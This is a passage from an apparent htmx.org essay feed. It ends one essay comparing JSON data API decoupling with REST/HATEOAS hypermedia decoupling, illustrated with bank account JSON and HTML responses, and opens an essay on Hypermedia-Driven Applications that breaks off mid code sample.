from the back-end code, and allows the reuse of the JSON API in other contexts, such as a mobile applications, 3rd
party client integrations, etc.&lt;&#x2F;p&gt;
&lt;p&gt;This is an &lt;em&gt;application-level&lt;&#x2F;em&gt; decoupling because the decision and implementation of the decoupling is done by the
application developer themselves.  The JSON API provides a “hard” interface between the two pieces of software.&lt;&#x2F;p&gt;
&lt;p&gt;Using my favorite example, consider a simple JSON for a bank that has a &lt;code&gt;GET&lt;&#x2F;code&gt; end point at &lt;code&gt;https:&#x2F;&#x2F;example.com&#x2F;account&#x2F;12345&lt;&#x2F;code&gt;.
This API might return the following content:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;json&quot; style=&quot;background-color:#1f2329;color:#abb2bf;&quot; class=&quot;language-json &quot;&gt;&lt;code class=&quot;language-json&quot; data-lang=&quot;json&quot;&gt;&lt;span&gt;HTTP&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;1.1 200&lt;&#x2F;span&gt;&lt;span&gt; OK
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;account&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;: {
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;account_number&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;12345&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;balance&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;: {
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;currency&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;usd&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;value&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;-50.00
&lt;&#x2F;span&gt;&lt;span&gt;        },
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;status&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;overdrawn&amp;quot;
&lt;&#x2F;span&gt;&lt;span&gt;    }
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;This Data API can be consumed by any client: a web application, a mobile client, a third party, etc.  It is, therefore
decoupled from any particular client.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;decoupling-via-a-json-api-in-practice&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#decoupling-via-a-json-api-in-practice&quot; aria-label=&quot;Anchor link for: decoupling-via-a-json-api-in-practice&quot;&gt;Decoupling Via A JSON API In Practice&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;So far, so good.  But how does this decoupling work out in practice?&lt;&#x2F;p&gt;
&lt;p&gt;In our essay &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;essays&#x2F;splitting-your-apis&#x2F;&quot;&gt;Splitting Your Data &amp;amp; Application APIs: Going Further&lt;&#x2F;a&gt; you
will find the following quote:&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;The worst part of my job these days is designing APIs for front-end developers. The conversation goes inevitably as:&lt;&#x2F;p&gt;
&lt;p&gt;Dev – So, this screen has data element x,y,z… could you please create an API with the response format {x: , y:, z: }&lt;&#x2F;p&gt;
&lt;p&gt;Me – Ok&lt;&#x2F;p&gt;
&lt;p&gt;Jean-Jacques Dubray - &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.infoq.com&#x2F;articles&#x2F;no-more-mvc-frameworks&quot;&gt;https:&#x2F;&#x2F;www.infoq.com&#x2F;articles&#x2F;no-more-mvc-frameworks&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;This quote shows that, although we have driven coupling out with a pitchfork (or, in our case, with a JSON API) it has come
back through requests for web application-specific JSON API end points.  These sorts of requests end up recoupling the
front-end and back-end code: the JSON API is no longer providing a generic JSON Data API, but rather a specific API for
the front-end needs.&lt;&#x2F;p&gt;
&lt;p&gt;Worse, these front-end needs will often change frequently as your application evolves, necessitating the modification
of your JSON API.  What if other non-web application clients have come to depend on the original API?&lt;&#x2F;p&gt;
&lt;p&gt;This problem leads to the “versioning hell” that many JSON Data API developers face when supporting both web applications as well
as other non-web application clients.&lt;&#x2F;p&gt;
&lt;h4 id=&quot;a-solution-graphql&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#a-solution-graphql&quot; aria-label=&quot;Anchor link for: a-solution-graphql&quot;&gt;A Solution: GraphQL&lt;&#x2F;a&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;One potential solution to this problem is to introduce &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;graphql.org&#x2F;&quot;&gt;GraphQL&lt;&#x2F;a&gt;, which allows you to have a much
more expressive JSON API.  This means that you don’t need to change it as often when your API client’s needs change.&lt;&#x2F;p&gt;
&lt;p&gt;This is a reasonable approach for addressing the problem outlined above, but there are problems with it.  The biggest
issue that we see is security, as we outline this in &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;intercoolerjs.org&#x2F;2016&#x2F;02&#x2F;17&#x2F;api-churn-vs-security.html&quot;&gt;The API Churn&#x2F;Security Trade-off&lt;&#x2F;a&gt; essay.&lt;&#x2F;p&gt;
&lt;p&gt;Apparently facebook uses a &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;twitter.com&#x2F;AdamChainz&#x2F;status&#x2F;1392162996844212232&quot;&gt;whitelist&lt;&#x2F;a&gt; to deal with the security
issues introduced by GraphQL, but many developers who are using GraphQL appear to not understand the security threats
involved with it.&lt;&#x2F;p&gt;
&lt;h4 id=&quot;another-solution-splitting-your-application-general-data-apis&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#another-solution-splitting-your-application-general-data-apis&quot; aria-label=&quot;Anchor link for: another-solution-splitting-your-application-general-data-apis&quot;&gt;Another Solution: Splitting Your Application &amp;amp; General Data APIs&lt;&#x2F;a&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;Another approach recommended by &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;max.engineer&#x2F;&quot;&gt;Max Chernyak&lt;&#x2F;a&gt; in his article
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;max.engineer&#x2F;server-informed-ui&quot;&gt;Don’t Build A General Purpose API To Power Your Own Front End&lt;&#x2F;a&gt;, is to build
&lt;em&gt;two&lt;&#x2F;em&gt; JSON APIs:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;An application specific JSON API that can be modified as needed&lt;&#x2F;li&gt;
&lt;li&gt;A general purpose JSON API that can be consumed by other clients such as mobile, etc.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;This is a pragmatic solution to address what appears to be the &lt;em&gt;inherent&lt;&#x2F;em&gt; coupling between your web application’s front-end
and the back-end code supporting it, and it doesn’t involve the security tradeoffs involved in a general GraphQL API.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;hypermedia-network-architecture-decoupling&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#hypermedia-network-architecture-decoupling&quot; aria-label=&quot;Anchor link for: hypermedia-network-architecture-decoupling&quot;&gt;Hypermedia - Network Architecture Decoupling&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;Now let us consider how a &lt;em&gt;hypermedia API&lt;&#x2F;em&gt; decouples software.&lt;&#x2F;p&gt;
&lt;p&gt;Consider a potential response to the same &lt;code&gt;GET&lt;&#x2F;code&gt; for &lt;code&gt;https:&#x2F;&#x2F;example.com&#x2F;account&#x2F;12345&lt;&#x2F;code&gt; that we saw above:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;html&quot; style=&quot;background-color:#1f2329;color:#abb2bf;&quot; class=&quot;language-html &quot;&gt;&lt;code class=&quot;language-html&quot; data-lang=&quot;html&quot;&gt;&lt;span&gt;HTTP&#x2F;1.1 200 OK
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;html&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;  &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;body&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;div&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;Account number: 12345&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;div&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;div&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;Balance: $100.00 USD&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;div&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;div&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;Links:
&lt;&#x2F;span&gt;&lt;span&gt;        &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;a &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;href&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;&#x2F;accounts&#x2F;12345&#x2F;deposits&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;deposits&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;a&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;        &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;a &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;href&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;&#x2F;accounts&#x2F;12345&#x2F;withdrawals&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;withdrawals&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;a&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;        &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;a &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;href&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;&#x2F;accounts&#x2F;12345&#x2F;transfers&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;transfers&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;a&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;        &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;a &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;href&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;&#x2F;accounts&#x2F;12345&#x2F;close-requests&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;close-requests&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;a&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;div&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;  &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;body&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;html&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;(Yes, this is an API response.  It just happens to be a hypermedia-formatted response, in this case HTML.)&lt;&#x2F;p&gt;
&lt;p&gt;Here we see that, at the application level, this response could not be more tightly coupled to the “front-end”.  In fact,
it &lt;em&gt;is&lt;&#x2F;em&gt; the front-end, in the sense that the API response specifies not only the data for the resource, but also provides
layout information on how, exactly, to display this data to the user.&lt;&#x2F;p&gt;
&lt;p&gt;The response also contains &lt;em&gt;hypermedia controls&lt;&#x2F;em&gt;, in this case, links, that an end user can select from to continue
navigating the hypermedia API that this &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;essays&#x2F;hypermedia-driven-applications&#x2F;&quot;&gt;Hypermedia-Driven Application&lt;&#x2F;a&gt; provides.&lt;&#x2F;p&gt;
&lt;p&gt;So, where is the decoupling in this case?&lt;&#x2F;p&gt;
&lt;h3 id=&quot;rest-the-uniform-interface&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#rest-the-uniform-interface&quot; aria-label=&quot;Anchor link for: rest-the-uniform-interface&quot;&gt;REST &amp;amp; The Uniform Interface&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;The decoupling in this case is occurring at a &lt;em&gt;lower level&lt;&#x2F;em&gt;.  It is happening at the &lt;em&gt;network architecture&lt;&#x2F;em&gt; level, which
is to say, at the system level.  &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;hypermedia.systems&quot;&gt;Hypermedia systems&lt;&#x2F;a&gt; are designed to decouple the hypermedia
client (in the case of the web, the browser) from the hypermedia server.&lt;&#x2F;p&gt;
&lt;p&gt;This is accomplished primarily via the Uniform Interface constraint of REST and, in particular, by using
Hypermedia As The Engine of Application State (&lt;a href=&quot;&#x2F;essays&#x2F;hateoas&quot;&gt;HATEOAS&lt;&#x2F;a&gt;).&lt;&#x2F;p&gt;
&lt;p&gt;This style of decoupling allows tighter coupling at the higher application level (which we have seen may be an
&lt;em&gt;inherent&lt;&#x2F;em&gt; coupling) while still retaining the benefits of decoupling for the overall system.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;decoupling-via-hypermedia-in-practice&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#decoupling-via-hypermedia-in-practice&quot; aria-label=&quot;Anchor link for: decoupling-via-hypermedia-in-practice&quot;&gt;Decoupling Via Hypermedia In Practice&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;How does this sort of decoupling work in practice?  Well, let’s say that we wish to remove the ability to transfer money
from our bank to other banks as well as the ability to close accounts.&lt;&#x2F;p&gt;
&lt;p&gt;What does our hypermedia response for this &lt;code&gt;GET&lt;&#x2F;code&gt; request now look like?&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;html&quot; style=&quot;background-color:#1f2329;color:#abb2bf;&quot; class=&quot;language-html &quot;&gt;&lt;code class=&quot;language-html&quot; data-lang=&quot;html&quot;&gt;&lt;span&gt;HTTP&#x2F;1.1 200 OK
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;html&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;  &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;body&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;div&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;Account number: 12345&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;div&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;div&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;Balance: $100.00 USD&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;div&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;div&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;Links:
&lt;&#x2F;span&gt;&lt;span&gt;        &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;a &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;href&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;&#x2F;accounts&#x2F;12345&#x2F;deposits&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;deposits&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;a&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;        &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;a &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;href&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;&#x2F;accounts&#x2F;12345&#x2F;withdrawals&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;withdrawals&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;a&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;div&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;  &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;body&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;html&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;You can see that in this response, links for those two actions have been removed from the HTML.  The browser simply
render the new HTML to the user.  To a rounding error, there are no clients sitting around using the &lt;em&gt;old&lt;&#x2F;em&gt; API.  The
API is encoded within and discovered through the hypermedia.&lt;&#x2F;p&gt;
&lt;p&gt;This means that we can dramatically change our API without breaking our clients.&lt;&#x2F;p&gt;
&lt;p&gt;This flexibility is the crux of the REST-ful network architecture and, in particular, of &lt;a href=&quot;&#x2F;essays&#x2F;hateoas&#x2F;&quot;&gt;HATEOAS&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;As you can see, despite much tighter &lt;em&gt;application-level&lt;&#x2F;em&gt; coupling between our front-end and back-end, we actually have
more flexibility due to the &lt;em&gt;network architecture&lt;&#x2F;em&gt; decoupling afforded to us by the Uniform Interface aspect of
REST-ful &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;hypermedia.systems&quot;&gt;hypermedia systems&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;but-that-s-a-terrible-data-api&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#but-that-s-a-terrible-data-api&quot; aria-label=&quot;Anchor link for: but-that-s-a-terrible-data-api&quot;&gt;But That’s A Terrible (Data) API!&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;Many people would object that, sure, this hypermedia API may be flexible for our web application, but it makes for a
terrible general purpose API.&lt;&#x2F;p&gt;
&lt;p&gt;This is quite true.  This hypermedia API is tuned for a specific web application.  It would be cumbersome and error-prone
to try to download this HTML, parse it and try to extract information from it.  This hypermedia API only makes sense as part
of a larger hypermedia system, being consumed by a proper hypermedia client.&lt;&#x2F;p&gt;
&lt;p&gt;This is exactly why we recommend creating a general purpose JSON API alongside your hypermedia API in
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;essays&#x2F;splitting-your-apis&#x2F;&quot;&gt;Splitting Your Data &amp;amp; Application APIs: Going Further&lt;&#x2F;a&gt;.  You can
take advantage of the flexibility of hypermedia for your own web application, while providing a
general purpose JSON API for mobile applications, third party applications, etc.&lt;&#x2F;p&gt;
&lt;p&gt;(Although, we should mention, a &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;hyperview.org&quot;&gt;hypermedia-based mobile application&lt;&#x2F;a&gt; might be a good choice too!)&lt;&#x2F;p&gt;
&lt;h2 id=&quot;conclusion&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#conclusion&quot; aria-label=&quot;Anchor link for: conclusion&quot;&gt;Conclusion&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;In this essay we looked at two different types of decoupling:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Application level decoupling via a JSON Data API&lt;&#x2F;li&gt;
&lt;li&gt;Network-architecture decoupling via REST&#x2F;HATEOAS in a hypermedia system&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;And we saw that, despite the tighter application-level coupling found in a hypermedia-based application, it is the
hypermedia system that handles changes more gracefully.&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Hypermedia-Driven Applications</title>
        <published>2022-02-06T00:00:00+00:00</published>
        <updated>2022-10-18T00:00:00+00:00</updated>
        
        <author>
          <name>
            Carson Gross
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://htmx.org/essays/hypermedia-driven-applications/"/>
        <id>https://htmx.org/essays/hypermedia-driven-applications/</id>
        
        <content type="html" xml:base="https://htmx.org/essays/hypermedia-driven-applications/">&lt;h2 id=&quot;genesis&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#genesis&quot; aria-label=&quot;Anchor link for: genesis&quot;&gt;Genesis&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;blockquote&gt;
&lt;p&gt;thesis: MPA - multi-page application&lt;&#x2F;p&gt;
&lt;p&gt;antithesis: SPA -  single-page application&lt;&#x2F;p&gt;
&lt;p&gt;synthesis: HDA - hypermedia-driven application&lt;&#x2F;p&gt;
&lt;p&gt;--&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;twitter.com&#x2F;htmx_org&#x2F;status&#x2F;1490318550170357760&quot;&gt;@htmx_org&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;the-hypermedia-driven-application-architecture&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#the-hypermedia-driven-application-architecture&quot; aria-label=&quot;Anchor link for: the-hypermedia-driven-application-architecture&quot;&gt;The Hypermedia-Driven Application Architecture&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;The &lt;strong&gt;Hypermedia Driven Application (HDA)&lt;&#x2F;strong&gt; architecture is a new&#x2F;old approach to building web applications.  It combines
the simplicity &amp;amp; flexibility of traditional Multi-Page Applications (MPAs) with the better user experience of
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Single-page_application&quot;&gt;Single-Page Applications&lt;&#x2F;a&gt; (SPAs).&lt;&#x2F;p&gt;
&lt;p&gt;The HDA architecture achieves this goal by extending the existing HTML infrastructure of the web to allow hypermedia
developers to create more powerful hypermedia-driven interactions.&lt;&#x2F;p&gt;
&lt;p&gt;Following the REST notion of architectural &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.ics.uci.edu&#x2F;~fielding&#x2F;pubs&#x2F;dissertation&#x2F;rest_arch_style.htm&quot;&gt;constraints&lt;&#x2F;a&gt;,
two such constraints characterize the HDA architecture:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;An HDA uses &lt;em&gt;declarative, HTML-embedded syntax&lt;&#x2F;em&gt; rather than imperative scripting to achieve better front-end interactivity&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;An HDA interacts with the server &lt;strong&gt;in terms of hypermedia&lt;&#x2F;strong&gt; (i.e. HTML) rather than a non-hypermedia format (e.g. JSON)&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;By adopting these two constraints, the HDA architecture stays within the original
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.mozilla.org&#x2F;en-US&#x2F;docs&#x2F;Glossary&#x2F;REST&quot;&gt;REST-ful&lt;&#x2F;a&gt; architecture of the web in a way that the SPA architecture
does not.&lt;&#x2F;p&gt;
&lt;p&gt;In particular, HDAs continue to use &lt;a href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;essays&#x2F;hateoas&#x2F;&quot;&gt;Hypermedia As The Engine of Application State (HATEOAS)&lt;&#x2F;a&gt;, whereas
most SPAs abandon HATEOAS in favor of a client-side model and data (rather than hypermedia) APIs.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;an-example-hda-fragment&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#an-example-hda-fragment&quot; aria-label=&quot;Anchor link for: an-example-hda-fragment&quot;&gt;An Example HDA fragment&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;Consider the htmx &lt;a href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;examples&#x2F;active-search&#x2F;&quot;&gt;Active Search&lt;&#x2F;a&gt; example:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;html&quot; style=&quot;background-color:#1f2329;color:#abb2bf;&quot; class=&quot;language-html &quot;&gt;&lt;code class=&quot;language-html&quot; data-lang=&quot;html&quot;&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;h3&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt; 
&lt;&#x2F;span&gt;&lt;span&gt;  Search Contacts 
&lt;&#x2F;span&gt;&lt;span&gt;  &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;span &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;class&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;htmx-indicator&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt; 
